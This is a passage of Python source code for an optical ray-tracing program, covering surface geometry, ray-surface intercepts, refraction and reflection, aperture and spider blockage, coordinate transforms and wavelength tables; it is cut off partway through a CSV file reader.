[nlines,nsurfs,nparms]; updated in getRaysCSV()\nRwaveNames = [] # list of wavelengths from \"@wave\" field\n\n#----RAY TRACING Media lists----------------------------\nNglasses = 0 # how many glasses, modified by guide number\nMnfields = 0 # how many data fields in the table\nMstrings = [] # list of strings starting with title string\nMtable = [] # list of lists of fields: 2D, starting with row=2\nMheaders = [] # list of strings = wavelength Names\nMwaveNames = [] # list of wavelength Names from headers > 0\nMglassNames = [] # list of glass Names from column zero\nMarray = np.empty([0,0]) # 2D numpy array\n\n\n\n\n#------RAY TRACING TABLE PARSING TOOLS------------------\n\ndef cuberoot(x):\n # allows negative arguments\n return math.copysign(math.pow(abs(x), 1./3.), x)\n\ndef makeTen(s):\n while len(s)<10:\n s += ' '\n return s\n\ndef getFloatValue(s):\n try:\n x = float(s)\n except ValueError:\n x = -0.0\n return x\n\ndef fixup(u,v,w):\n arg = 1 - u*u - v*v\n if arg < 0.:\n print('fixup() has u,v too large. Quitting.', u, v)\n quit()\n if w>= 0: # includes -0.0\n return np.sqrt(arg)\n else:\n return -np.sqrt(arg)\n\ndef suckInt(s):\n # extracts a positive integer from a messy string\n slen = len(s)\n if slen<1:\n return 0\n numstring = \"\"\n i = 0\n while i<slen and not s[i].isdigit():\n i += 1\n while i<slen and s[i].isdigit():\n numstring += s[i]\n i += 1\n if len(numstring) ==0:\n return 0\n try:\n result = int(numstring)\n return result\n except ValueError:\n return 0\n \ndef getActionType(snippet):\n # this number can be put right into Oarray[OACTIONTYPE field]\n length = len(snippet)\n if length < 1:\n return OLENSACTION\n c0 = snippet[0].upper()\n c2 = ' '\n if length > 2:\n c2 = snippet[2].upper()\n if c0 == 'M':\n return OMIRRORACTION\n if c0 == 'R':\n return ORETROACTION\n if c0 == 'I': # includes spider\n return OIRISACTION\n if c0 == 'C': #coordinate break\n if c2 == 'I':\n return OCBINACTION\n if c2 == 'O':\n return OCBOUTACTION\n return OLENSACTION\n\ndef getOpticsAttribute(header):\n # From a column header, return its math array column index.\n # Surface numbers are row numbers, they do not come from headers.\n # Includes Zernike coefficients, SagMaps.\n guidenum = suckInt(header)\n header += \" \"\n c0 = header[0]\n c1 = header[1]\n c2 = header[2]\n c3 = header[3]\n c0up = c0.upper()\n c1up = c1.upper()\n c2up = c2.upper()\n c3up = c3.upper()\n \n if c0=='D':\n return OODIAM\n elif c0=='d':\n return OIDIAM\n elif (c0up=='T' and c1up=='Y') or (c0up=='L' and c1up=='E') or (c0up=='M' and c1up=='I'):\n # rint 'getOpticsIndex() header and OACTIONTYPE:', header, OACTIONTYPE\n return OACTIONTYPE\n elif c0up=='I' or c0up=='G':\n return OINDEX\n elif c0up=='X':\n return OX\n elif c0up=='Y':\n return OY\n elif c0up=='Z' and not c1up=='E':\n return OZ\n elif c0up=='P':\n return OPITCH\n elif c0up=='T' and c1up=='I':\n return OTILT\n elif c0up=='R':\n return OROLL\n elif c0up=='C':\n return OCURVE\n elif c0up=='A' and c1up=='S':\n return OASPH\n elif c0up=='A' and guidenum>=0 and guidenum<15:\n sum = OA1 - 1 + guidenum\n # print 'getOpticsIndex() finds polynomial field whose index = ', sum\n return sum\n elif c0up=='Z' and c1up=='E' and guidenum<36:\n sum = OZ0 + guidenum\n # print 'getOpticsIndex() finds Zernike field whose index = ', sum\n return sum\n elif c0up=='S' and c3up=='F': # sag header\n return OSAGFILE\n elif c0up=='S' and c3up=='M':\n return OSAGMULT\n elif c0up=='S' and c3up=='S':\n return OSAGSTEP\n elif c0up=='N' and c1up=='S':\n return ONSPIDER\n elif c0up=='W' and c1up=='S':\n return OWSPIDER\n else:\n return -1\n \ndef getRayStartAttribute(header):\n # Returns the input field parameter, or -1 if not an input field.\n # print 'getRayStart(header) has header = ', header\n if len(header) < 1:\n return -1\n header = header.upper()\n c0 = header[0]\n if c0=='@':\n return RWAVE\n c1 = ' '\n if len(header) > 1:\n c1 = header[1]\n # For AutoRay, X0... are ray inputs, XG... are ray goals \n # but sometimes I want to accept any Xxxxx or Yxxxx as a goal. \n # if len(header) < 2:\n # return -1\n # if header[1] != '0': \n # return -1\n \n if c0=='X':\n if c1 == 'G':\n # print '......XG detected; returning RXG = ', RXG\n return RXG\n if c1 == '0':\n return RX\n return -1\n if c0=='Y':\n if c1 == 'G':\n return RYG\n if c1 == '0':\n return RY\n return -1\n if c0=='Z':\n if c1 == '0':\n return RZ\n return -1\n if c0=='U':\n if c1 == '0':\n return RU\n return -1\n if c0=='V':\n if c1 == '0':\n return RV\n return -1\n if c0=='W':\n if c1 == '0':\n return RW\n return -1\n return -1\n \n\ndef findGlassRow(glassname):\n # Search MglassNames to find a given glassname.\n # Return -1 if not found. \n for kglass in range(1, len(MglassNames)):\n if glassname == MglassNames[kglass]:\n # print 'findGlassRow has glassname, kglass = ', glassname, kglass\n return kglass\n print('RT: findGlassRow() not found. Quitting')\n quit()\n \n \ndef findWaveColumn(wavename):\n # Search MwaveNames trying to locate a given wavename.\n # Skip column zero: it is the glass name header.\n # quit() if not found.\n # print('findWaveColumn() is searching for wavename = ', wavename)\n for col in range(1, len(MwaveNames)): # ignore column zero.\n if wavename == MwaveNames[col]: \n # print 'findWaveColumn has wavename, column = ',wavename, col\n return col\n print('RT: findWaveColumn() for wavename = ' + wavename +' not found. Quitting.')\n quit()\n \n\ndef findRefraction(iray, jsurf):\n glassname = OglassNames[jsurf] # numbering 1...Nsurfs\n if len(glassname) < 1:\n return 1.0 # assumes blank = air = 1.0 \n try:\n result = float(glassname)\n return result\n except ValueError: # need a Media table \n if Nglasses < 1:\n print('Media table is needed for glassname = ', glassname)\n quit()\n wavename = RwaveNames[iray] # numbering 1...Nrays\n # print('findRefraction() is searching for .RAY wavename = ', wavename)\n result = 1.0\n mediarow = findGlassRow(glassname)\n # print('findRefraction() is accessing mediarow = ', mediarow)\n if mediarow < 0:\n print('findRefraction() is quitting since no GlassName = ', glassname)\n quit()\n mediacol = findWaveColumn(wavename)\n if mediacol < 1:\n print('findRefraction() is quitting since no WaveName = ', wavename)\n quit()\n result = float(Marray[mediarow][mediacol])\n return result\n \n\n\n\n#--------RAY TRACING MATH HELPERS----------------\n\ndef deg(radians):\n return math.degrees(radians)\n \ndef rad(degrees):\n return math.radians(degrees)\n\ndef isMinusZero(x):\n return x==0. and np.signbit(x)==True\n\ndef getBothRoots(A, B, C):\n # Solves for the real roots of a quadratic function.\n # Returns 0, 1, or two roots as a tuple: \"-0.0\" means failed.\n # Method is Press et al 'Numerical Recipes' 2nd edition p.183\n if A==0.0 and B!= 0.0:\n return -C/B, -0.0\n if B==0.0 and A!=0.0:\n if C/A>0:\n return np.sqrt(C/A), -np.sqrt(C/A)\n else:\n return -0.0, -0.0\n if C==0 and A!= 0.0:\n return -B/A, -0.0\n D = B*B-4*A*C\n if D <= 0.0:\n return -0.0, -0.0\n Q = -0.5*(B + np.sign(B)*np.sqrt(D))\n return Q/A, C/Q\n\ndef setEulers(): # call this after any change in OTILT, OPITCH, or OROLL\n for j in range(1, Nsurfs+1): \n ct = np.cos(np.radians(Oarray[j, OTILT]))\n st = np.sin(np.radians(Oarray[j, OTILT]))\n cp = np.cos(np.radians(Oarray[j, OPITCH])) \n sp = np.sin(np.radians(Oarray[j, OPITCH])) \n cr = np.cos(np.radians(Oarray[j, OROLL])) \n sr = np.sin(np.radians(Oarray[j, OROLL])) \n Oarray[j,OE11] = cr*cp; # X <- x; M11\n Oarray[j,OE12] = -sr*cp; # X <- y; M12\n Oarray[j,OE13] = sp; # X <- z; M13\n Oarray[j,OE21] = cr*sp*st + sr*ct; # Y <- x; M21\n Oarray[j,OE22] = cr*ct - sr*sp*st; # Y <- y; M22\n Oarray[j,OE23] = -cp*st; # Y <- z; M23\n Oarray[j,OE31] = -cr*sp*ct + sr*st; # Z <- x; M31\n Oarray[j,OE32] = sr*sp*ct + cr*st; # Z <- y; M32\n Oarray[j,OE33] = cp*ct; # Z <- z; M33 \n \ndef dotproduct(abc, xyz):\n # returns the dot product of two triplets\n return abc[0]*xyz[0] + abc[1]*xyz[1] + abc[2]*xyz[2]\n \n \ndef crossproduct(abc, xyz):\n # returns the cross product of two triplets\n product = np.zeros(3)\n product[0] = abc[1]*xyz[2] - abc[2]*xyz[1]\n product[1] = abc[2]*xyz[0] - abc[0]*xyz[2]\n product[2] = abc[0]*xyz[1] - abc[1]*xyz[0]\n return product \n \ndef normalize(norm):\n # modifies given host array.\n len = np.sqrt(norm[0]**2 + norm[1]**2 + norm[2]**2)\n if len==0:\n print(\"cannot normalize a zero vector\")\n return\n norm[0] /= len\n norm[1] /= len\n norm[2] /= len\n\ndef testUVW(iray, jsurf):\n err = Rarray[iray, jsurf, RU]**2 \\\n + Rarray[iray, jsurf, RV]**2 \\\n + Rarray[iray, jsurf, RW]**2 \\\n - 1.0\n if math.fabs(err) > 1E-14:\n print('UVW normalization error at iray, surf = ', iray, jsurf, err)\n\ndef isNegZero(x):\n return x==0. and np.signbit(x)==True\n\n \n\n#-----RAY TRACING SURFACE GENERATORS--------------------\n\ndef getZtotal(iray, jsurf, d):\n # \"d\" is a positive trial distance along current ray\n z = getZconic(iray, jsurf, d)\n if OhasPoly[jsurf]:\n z += getZpoly(iray, jsurf, d)\n if OhasZern[jsurf]:\n z += getZzern(iray, jsurf, d)\n if OhasSag[jsurf]:\n z += getZsag(iray, jsurf, d)\n return z \n\n \ndef getZconic(iray, jsurf, d):\n # coordinates here are local \"vertex frame\" values.\n # \"d\" is a positive trial distance along current ray being tested here.\n x = Rarray[iray, jsurf, Rx] + d * Rarray[iray, jsurf, Ru]\n y = Rarray[iray, jsurf, Ry] + d * Rarray[iray, jsurf, Rv]\n r2 = x*x + y*y\n s = Oarray[jsurf, OASPH] + 1.0\n c = Oarray[jsurf, OCURVE]\n numer = c*r2\n arg = 1 - s*c*c*r2\n if arg < 0:\n print('negative argument found by getZconic(); flange case failure code -0.0')\n return -0.0, MISS # failure code\n denom = 1 + np.sqrt(arg)\n zconic = numer/denom\n return zconic, OK\n\ndef getZpoly(iray, jsurf, d):\n # coordinates here are local vertex frame values.\n x = Rarray[iray, jsurf, Rx] + d * Rarray[iray, jsurf, Ru]\n y = Rarray[iray, jsurf, Ry] + d * Rarray[iray, jsurf, Rv]\n r = np.sqrt(x*x + y*y)\n product = 1.0\n sum = 0.0\n for attrib in range(OA1, OA14+1): # OA1=11 ... OA14=24\n product *= r\n sum += Oarray[jsurf, attrib] * product\n return sum, OK\n \n\n#----RAY TRACING SURFACE SLOPES AND NORMALS--------- \n \ndef getNormal(iray, jsurf):\n # There are two surface normals. Should not matter. I always use the one with Nz>0.\n gx, gy = gradTotal(iray, jsurf)\n normal = np.array([-gx, -gy, 1.0])\n normalize(normal)\n return normal\n\ndef gradTotal(iray, jsurf):\n gx, gy = gradConic(iray, jsurf)\n if OhasPoly[jsurf]:\n px, py = gradPoly(iray, jsurf)\n gx += px\n gy += py\n # print 'gradTotal() is returning gx, gy = ', gx, gy\n return gx, gy\n \ndef gradConic(iray, jsurf):\n s = Oarray[jsurf, OASPH] + 1\n c = Oarray[jsurf, OCURVE]\n if c==0: # plano case\n return 0.0, 0.0\n x = Rarray[iray, jsurf, Rx]\n y = Rarray[iray, jsurf, Ry]\n r2 = x*x + y*y\n arg = 1.0 - s*c**2*r2\n if arg <= 0: # flange case\n # print ' gradConic() is returning the flange case.'\n return -0.0, -0.0\n coef = c/np.sqrt(arg) # conic case\n gx = x*coef\n return x*coef, y*coef\n \ndef gradPoly(iray, jsurf):\n x = Rarray[iray, jsurf, Rx]\n y = Rarray[iray, jsurf, Ry]\n r = np.sqrt(x*x + y*y)\n if r==0:\n return 0.0, 0.0\n product = 1.0\n dzdr = 0.0\n for index in range(OA1, OA14+1): # OA1=11 ... OA14=24\n coef = 1 + index - OA1\n dzdr += coef * Oarray[jsurf, index] * product\n product *= r\n return (x/r)*dzdr, (y/r)*dzdr \n\n\n\n\n\n\n\n\n#----------RAY TRACING INTERCEPTOR TOOLS------------------------\n\ndef intercept(iray, jsurf):\n # Works entirely in local coordinate frame Rx,Ry,Rz,Ru,Rv,Rw.\n # These numbers come entirely out of labToVx() routine.\n # zlocal = Rarray[iray, jsurf, Rz] #\n # wlocal = Rarray[iray, jsurf, Rw] # always negative, as planned.\n if OhasPoly[jsurf]:\n return higherIntercept(iray, jsurf)\n return conicIntercept(iray, jsurf)\n\ndef func(iray, jsurf, d): \n # Function whose root is to be found using Newton's method.\n zc, code = getZconic(iray, jsurf, d)\n if code!=OK:\n return -0.0, code\n # print 'zc = ', zc \n zp, code = getZpoly(iray, jsurf, d)\n if code!=OK:\n return -0.0, code\n # print 'zp = ', zp\n z0 = Rarray[iray, jsurf, Rz]\n w = Rarray[iray, jsurf, Rw]\n sum = zc + zp - (z0 + w*d)\n # print 'func() gets total sum = ', sum\n return sum, OK\n \ndef deriv(iray, jsurf, d):\n # Estimator of the derivative of func() for Newton's method.\n DELTA = 0.00001 # should be made adaptive\n fplus, status = func(iray, jsurf, d+DELTA)\n fminus, status = func(iray, jsurf, d-DELTA)\n return (fplus - fminus)/(2.*DELTA)\n\ndef higherIntercept(iray, jsurf):\n # First do a conic intercept to get close to the correct root. \n # print '\\nHigherIntercept starting its conic intercept...'\n status = conicIntercept(iray, jsurf)\n if status !=OK:\n return status\n # Set up for using the Newton method.\n # print '\\nHigherIntercept() is setting up for Newton rootfinder'\n d = 0\n niters = 0\n while True: # Newton rootfinder\n niters += 1\n f, status = func(iray, jsurf, d)\n if status!=OK:\n return status\n slope = deriv(iray, jsurf, d)\n d -= f/slope\n # print ' Newton rootfinder: niters, d, f: ', niters, d, f\n if abs(f) < 1E-12 or niters > 8:\n break;\n Rarray[iray, jsurf, Rx] = Rarray[iray, jsurf, Rx] + d*Rarray[iray, jsurf, Ru]\n Rarray[iray, jsurf, Ry] = Rarray[iray, jsurf, Ry] + d*Rarray[iray, jsurf, Rv]\n Rarray[iray, jsurf, Rz] = Rarray[iray, jsurf, Rz] + d*Rarray[iray, jsurf, Rw]\n return status\n \ndef conicIntercept(iray, jsurf): \n s = Oarray[jsurf, OASPH] + 1.0\n c = Oarray[jsurf, OCURVE]\n \n # Note: labtovx() will have already set the vertex-frame ray starts.\n \n x = Rarray[iray, jsurf, Rx]\n y = Rarray[iray, jsurf, Ry]\n z = Rarray[iray, jsurf, Rz]\n u = Rarray[iray, jsurf, Ru]\n v = Rarray[iray, jsurf, Rv]\n w = Rarray[iray, jsurf, Rw]\n sos = u*u + v*v + w*w\n err = sos - 1.0\n if abs(err) > 1E-12:\n print('Yikes, faulty direction cosines at jsurf =', jsurf)\n \n A = c*(u*u + v*v + s*w*w)\n B = 2*c*(x*u + y*v + s*z*w) - 2*w\n C = c*(x*x + y*y + s*z*z) - 2*z\n r1, r2 = getBothRoots(A, B, C)\n rLessPositive = min(r1, r2)\n rMorePositive = max(r1, r2)\n if rMorePositive<=0. and rLessPositive<0.:\n return BACK\n \n d=-0.0\n sheetLessPositive = s*c*(z + w * rLessPositive)\n sheetMorePositive = s*c*(z + w * rMorePositive)\n \n # Always try the shorter path first...\n if sheetLessPositive<1.0 and rLessPositive>0.0: # if OK, this is our winner.\n d=rLessPositive\n elif sheetMorePositive<1.0 and rMorePositive>0.0: # else maybe this is our winner. \n d=rMorePositive\n if d<=0.0: # Neither? well then... failed.\n # print 'intercept failed: d1, d2 = ', rLessPositive, rMorePositive\n return MISS\n \n # Now we have a good ray segment length \"d\" -- SO PROPAGATE.\n # print 'interceptor has d = ', d\n Rarray[iray, jsurf, Rx] = Rarray[iray, jsurf, Rx] + d*u\n Rarray[iray, jsurf, Ry] = Rarray[iray, jsurf, Ry] + d*v\n Rarray[iray, jsurf, Rz] = Rarray[iray, jsurf, Rz] + d*w \n return OK\n \n \n \n \n \n \n#---------RAY TRACE VALIDATOR with spider----------------------\n\ndef validate(iray, jsurf):\n # Is intercept within {Diameter, diameter} pupil annulus?\n # print 'Starting validation for jsurf = ', jsurf\n x = Rarray[iray, jsurf, Rx] # Rx is index for local frame ray x\n y = Rarray[iray, jsurf, Ry] # Ry is index for local frame ray y\n r = np.sqrt(x*x + y*y) # ray's local radius off axis\n Diam = Oarray[jsurf, OODIAM] # outer Diameter; -0.0 if absent\n if Diam > 0.0:\n if r > 0.5*Diam:\n # print(\"clobbered by OODIAM.\")\n return ODIAM\n if r < 0.5*Oarray[jsurf, OIDIAM]: # inner diameter; -0.0 if absent\n # print(\"clobbered by IDIAM\")\n return IDIAM\n\n nlegs = int(Oarray[jsurf, ONSPIDER])\n halfwidth = 0.5*Oarray[jsurf, OWSPIDER]\n if nlegs < 1 or halfwidth <= 0.0: # no spider declared\n return OK\n \n # Test for rectangular spider leg blockage. Don't rotate the spider: rotate the ray. \n rolldeg = Oarray[jsurf, OROLL] # spider roll pattern, degrees CCW from +X\n raydeg = deg(np.arctan2(y,x)) # degrees CCW from +X; 0/0 is OK here\n # print('Spider at iray, jsurf: nlegs, halfwidth, rolldeg, raydeg = {:6d}{:3d}{:3d}{:8.2f}{:8.2f}{:8.2f}'.format(iray,jsurf, nlegs, halfwidth, rolldeg, raydeg))\n for ileg in range(0, nlegs):\n diff = ileg*360.0/nlegs + rolldeg - raydeg # degrees between ray and leg\n xtemp = math.fabs(r * math.sin(rad(diff)))\n ytemp = r * math.cos(rad(diff))\n # print('...spider ileg, rolldeg, raydeg, diffdeg, xtemp, ytemp = {:3d}{:8.3f}{:8.3f}{:8.3f}{:8.1f}{:8.1f}'.format(ileg, rolldeg, raydeg, diff, xtemp, ytemp))\n if xtemp < halfwidth and ytemp > 0.:\n # print('....Finding that xtemp<halfwidth and ytemp>0, so declaring ray failure of type SPI')\n return SPI\n return OK\n\n\n\n\n\n#-------RAY TRACING REDIRECTORS-------------------\n\ndef redirect(iray, jsurf):\n # This is the switchyard to the detail redirectors..\n if jsurf == Nsurfs:\n return OK # no redirection at final surface.\n \n u = Rarray[iray, jsurf, Ru] # input directions to be modified\n v = Rarray[iray, jsurf, Rv]\n w = Rarray[iray, jsurf, Rw]\n action = int(Oarray[jsurf, OACTIONTYPE])\n # print('====edirect starting with u,v,w,action = {:12.6f}{:12.6f}{:12.6f}{:4d}'.format(u,v,w,action)+\" \"+actionLookup[action])\n if action == OIRISACTION: # cannot fail.\n return OK\n\n if action == OMIRRORACTION: # cannot fail.\n normal = getNormal(iray, jsurf)\n dotp = u*normal[0] + v*normal[1] + w*normal[2]\n u = Rarray[iray, jsurf, Ru] = Rarray[iray, jsurf, Ru] - 2*dotp*normal[0]\n v = Rarray[iray, jsurf, Rv] = Rarray[iray, jsurf, Rv] - 2*dotp*normal[1]\n w = Rarray[iray, jsurf, Rw] = Rarray[iray, jsurf, Rw] - 2*dotp*normal[2]\n return OK\n\n if action == OLENSACTION: # can fail via TIR. \n numer = findRefraction(iray, jsurf)\n if numer==0.0:\n numer = 1.0\n denom = findRefraction(iray, jsurf+1)\n if denom==0.0:\n denom = 1.0\n # print 'numer, denom = ', numer, denom\n mu = numer/denom\n normal = getNormal(iray, jsurf)\n kinput = np.array([u, v, w])\n kparallel = crossproduct(normal, crossproduct(kinput, normal))\n \n kparallel = mu * kparallel # vector equation \n kparallelSQ = dotproduct(kparallel, kparallel) # scalar equation \n kperpSQ = 1.- kparallelSQ # Pythagoras\n if kperpSQ <= 0.0:\n return TIR\n kperpmagnitude = np.sqrt(kperpSQ) # scalar equation \n perpsign = np.sign(dotproduct(normal, kinput))\n kperp = perpsign*kperpmagnitude * normal \n kout = kparallel + kperp # vector equation \n Rarray[iray, jsurf, Ru] = kout[0]\n Rarray[iray, jsurf, Rv] = kout[1]\n Rarray[iray, jsurf, Rw] = kout[2]\n return OK\n \n if action == ORETROACTION: # cannot fail\n Rarray[iray, jsurf, Ru] *= -1.0\n Rarray[iray, jsurf, Rv] *= -1.0\n Rarray[iray, jsurf, Rw] *= -1.0\n return OK\n \n if action == OCBINACTION or action == OCBOUTACTION:\n return OK\n \n return UNKNOWN\n \n \n \n \n \n \n \n\n#---------RAY TRACING COORDINATE CHANGERS-------------------\n\ndef labtovx(iray, jsurf):\n global Rarray\n # Assumes that raystarts have been loaded into Rarray[iray, 0].\n # Coordinate frame changer, moves from jsurf-1 LAB to current jsurf LOCAL.\n # Matrix OE converts local to lab coordinates; must transpose it here.\n # M.Lampton STELLAR SOFTWARE (C) 1989, 2003, 2017\n\n Xprev = Rarray[iray, jsurf-1, RX]\n Yprev = Rarray[iray, jsurf-1, RY]\n Zprev = Rarray[iray, jsurf-1, RZ]\n Uprev = Rarray[iray, jsurf-1, RU]\n Vprev = Rarray[iray, jsurf-1, RV]\n Wprev = Rarray[iray, jsurf-1, RW] # if forward: Rw is positive. Reverse: Rw is negative.\n\n xLocal = Xprev - Oarray[jsurf, OX]\n yLocal = Yprev - Oarray[jsurf, OY]\n zLocal = Zprev - Oarray[jsurf, OZ] # if forward: Rz is negative. Reverse: Rz is positive. \n \n x = Rarray[iray,jsurf,Rx] = xLocal*Oarray[jsurf,OE11] + yLocal*Oarray[jsurf,OE21] + zLocal*Oarray[jsurf,OE31]\n y = Rarray[iray,jsurf,Ry] = xLocal*Oarray[jsurf,OE12] + yLocal*Oarray[jsurf,OE22] + zLocal*Oarray[jsurf,OE32]\n z = Rarray[iray,jsurf,Rz] = xLocal*Oarray[jsurf,OE13] + yLocal*Oarray[jsurf,OE23] + zLocal*Oarray[jsurf,OE33]\n\n u = Rarray[iray,jsurf,Ru] = Uprev*Oarray[jsurf,OE11] + Vprev*Oarray[jsurf,OE21] + Wprev*Oarray[jsurf,OE31]\n v = Rarray[iray,jsurf,Rv] = Uprev*Oarray[jsurf,OE12] + Vprev*Oarray[jsurf,OE22] + Wprev*Oarray[jsurf,OE32]\n w = Rarray[iray,jsurf,Rw] = Uprev*Oarray[jsurf,OE13] + Vprev*Oarray[jsurf,OE23] + Wprev*Oarray[jsurf,OE33]\n\n return OK\n\ndef vxtovx(iray, jsurf):\n # used only by CBout coordinate break. No math; it just copies locals.\n Rarray[iray, jsurf, Rx] = Rarray[iray, jsurf-1, Rx]\n Rarray[iray, jsurf, Ry] = Rarray[iray, jsurf-1, Ry]\n Rarray[iray, jsurf, Rz] = Rarray[iray, jsurf-1, Rz] \n Rarray[iray, jsurf, Ru] = Rarray[iray, jsurf-1, Ru]\n Rarray[iray, jsurf, Rv] = Rarray[iray, jsurf-1, Rv]\n Rarray[iray, jsurf, Rw] = Rarray[iray, jsurf-1, Rw] \n\ndef vxtolab(iray, jsurf):\n # Coordinate frame changer at a single surface.\n # Here the Euler matrix is used directly, local to lab conversion. \n # M.Lampton STELLAR SOFTWARE (C) 1989, 2003, 2017\n\n x = Rarray[iray, jsurf, Rx]\n y = Rarray[iray, jsurf, Ry]\n z = Rarray[iray, jsurf, Rz] \n u = Rarray[iray, jsurf, Ru]\n v = Rarray[iray, jsurf, Rv]\n w = Rarray[iray, jsurf, Rw]\n \n Rarray[iray, jsurf, RU] = u*Oarray[jsurf,OE11] + v*Oarray[jsurf,OE12] + w*Oarray[jsurf,OE13]\n Rarray[iray, jsurf, RV] = u*Oarray[jsurf,OE21] + v*Oarray[jsurf,OE22] + w*Oarray[jsurf,OE23]\n Rarray[iray, jsurf, RW] = u*Oarray[jsurf,OE31] + v*Oarray[jsurf,OE32] + w*Oarray[jsurf,OE33]\n\n Rarray[iray, jsurf, RX] = x*Oarray[jsurf,OE11] + y*Oarray[jsurf,OE12] + z*Oarray[jsurf,OE13]\n Rarray[iray, jsurf, RY] = x*Oarray[jsurf,OE21] + y*Oarray[jsurf,OE22] + z*Oarray[jsurf,OE23]\n Rarray[iray, jsurf, RZ] = x*Oarray[jsurf,OE31] + y*Oarray[jsurf,OE32] + z*Oarray[jsurf,OE33]\n \n Rarray[iray, jsurf, RX] = Rarray[iray, jsurf, RX] + Oarray[jsurf, OX]\n Rarray[iray, jsurf, RY] = Rarray[iray, jsurf, RY] + Oarray[jsurf, OY]\n Rarray[iray, jsurf, RZ] = Rarray[iray, jsurf, RZ] + Oarray[jsurf, OZ]\n return OK\n\n\n\n\n\"\"\" #---------RAY TRACING NUMERICAL TEXT DISPLAY TOOLS----------------\n\ndef showEuler(jsurf):\n eulerlist = [[Oarray[jsurf, OE11], Oarray[jsurf, OE12], Oarray[jsurf, OE13]],\n [Oarray[jsurf, OE21], Oarray[jsurf, OE22], Oarray[jsurf, OE23]],\n [Oarray[jsurf, OE31], Oarray[jsurf, OE32], Oarray[jsurf, OE33]]]\n euler = np.array(eulerlist)\n print(euler)\n \ndef displayInput(iray):\n X = Raystarts[iray, RX]\n Y = Raystarts[iray, RY]\n Z = Raystarts[iray, RZ] \n U = Raystarts[iray, RU]\n V = Raystarts[iray, RV]\n W = Raystarts[iray, RW] \n print('+++ Input: iray, XYZUVW: {:3d}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}'.format(iray,X,Y,Z,U,V,W))\n\ndef displayLocal(iray, jsurf):\n x = Rarray[iray, jsurf, Rx]\n y = Rarray[iray, jsurf, Ry]\n z = Rarray[iray, jsurf, Rz] \n u = Rarray[iray, jsurf, Ru]\n v = Rarray[iray, jsurf, Rv]\n w = Rarray[iray, jsurf, Rw] \n print('*** Output: howfar, xyzuvw:{:3d}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}'.format(jsurf,x,y,z,u,v,w))\n\ndef displayLabs(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n Z = Rarray[iray, jsurf, RZ] \n U = Rarray[iray, jsurf, RU]\n V = Rarray[iray, jsurf, RV]\n W = Rarray[iray, jsurf, RW] \n print('*** Output: howfar, XYZUVW:{:3d}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}{:16.8f}'.format(jsurf,X,Y,Z,U,V,W))\n\ndef displayLongOutput(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n Z = Rarray[iray, jsurf, RZ]\n print('*** Output: howfar, X,Y,Z:{:4d}{:24.12f}{:24.12f}{:24.12f}'.format(jsurf,X,Y,Z))\n\ndef displayXYUV(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n U = Rarray[iray, jsurf, RU]\n V = Rarray[iray, jsurf, RV]\n print(' X,Y,U,V{:22.14f}{:22.14f}{:22.14f}{:22.14f}'.format(X,Y,U,V))\n\ndef displayHXYZ(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n Z = Rarray[iray, jsurf, RZ] \n print('*** Output: howfar, XYZ:{:3d}{:18.12f}{:18.12f}{:20.12f}'.format(jsurf,X,Y,Z))\n\ndef displayXYZ(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n Z = Rarray[iray, jsurf, RZ]\n print(' X,Y,Z: {:24.16f}{:24.16f}{:24.16f}'.format(X,Y,Z))\n\ndef displayXY(iray, jsurf):\n X = Rarray[iray, jsurf, RX]\n Y = Rarray[iray, jsurf, RY]\n print(' X, Y: {:24.16f}{:24.16f}'.format(X,Y))\n\ndef doMonsterListing(): # List user's ray table results\n prepTableRayGroup(False) # True=wantListing\n runTableRayGroup(True) # True=wantListing\n ngood = len(xpoints)\n print(\"\\nNgoodRays = {:6d}\".format(ngood) + ' ' + xRMSstring + ' ' + yRMSstring)\n print('Successive ray listing...')\n for iray in range(1, Nrays+1):\n X0 = Rarray[iray, 0, RX]\n U0 = Rarray[iray, 0, RU]\n X1 = Rarray[iray, 1, RX]\n U1 = Rarray[iray, 1, RU]\n X2 = Rarray[iray, 2, RX]\n U2 = Rarray[iray, 2, RU]\n Xf = Rarray[iray, Nsurfs, RX]\n Uf = Rarray[iray, Nsurfs, RU] \n print('iray, X0, U0, X1, U1, X2, U2, Xf, Uf = {:4d}{:12.6f}{:12.6f}{:12.6f}{:12.6f}{:12.6f}{:12.6f}{:21.15f}{:12.6f}'.format(iray, X0, U0, X1, U1, X2, U2, Xf, Uf))\n\"\"\" \n\n \n\n\n\n#-------RAY TRACING INPUT CSV FILE READER--------------\n\ndef isEmpty(anyList):\n if len(anyList) < 1:\n return True\n width = 0\n for i in range(0, len(anyList)):\n width = max(width, len(anyList[i]))\n return True if width==0 else False\n \n \n#------Wavelength labelling-base=0----------------\n\nFraunhoferIndex = [ 0, 1, 2, 3, 4, 5, 6, 7 ]\nFraunhoferLetters = [ 'i', 'g', 'F', 'd', 'R', 'C', 's', 't']\nFraunhoferMicrons = [0.365, 0.436, 0.486, 0.588, 0.638, 0.656, 0.852, 1.014]\nFraunhoferNanometers = [ 365, 436, 486, 588, 638, 656, 852, 1014]\nPLOTCOLORS = [ 'b', 'c', 'g', 'y', 'r', 'c', 'm', 'k']\nNWAVES = 8\n\ndef letter2index(letter):\n letter = letter.strip()\n if letter in FraunhoferLetters:\n return FraunhoferLetters.index(letter)\n else:\n print('invalid Fraunhofer letter ' + letter +' Quitting.')\n quit()\n \ndef letter2microns(letter):\n index = letter2index(letter)\n return FraunhoferMicrons[index]\n \ndef letter2nanometers(letter):\n index = letter2index(letter)\n return FraunhoferNanometers[index]\n \ndef letter2plotColor(letter):\n index = letter2index(letter)\n return PLOTCOLORS[index]\n \n\n#----------FILE GENERAL UNPACKER-----------------------\n\ndef unpackCSV(fname): # returns a 2D rectangular list of all the fields in fname. \n data = list() # initially empty.\n # print('\\nunpackCSV() Trying: ', fname)\n try:\n data = list(csv.reader(open(fname))) # 2D list of snippets\n except IOError:\n print(\"Quitting since could not open \"+fname)\n quit()\n if len(data) < 3:\n print(\"Fewer than three CSV records are found. Quitting this file.\")\n return data\n for irow in range(0, len(data)): \n for jcol in range(0, 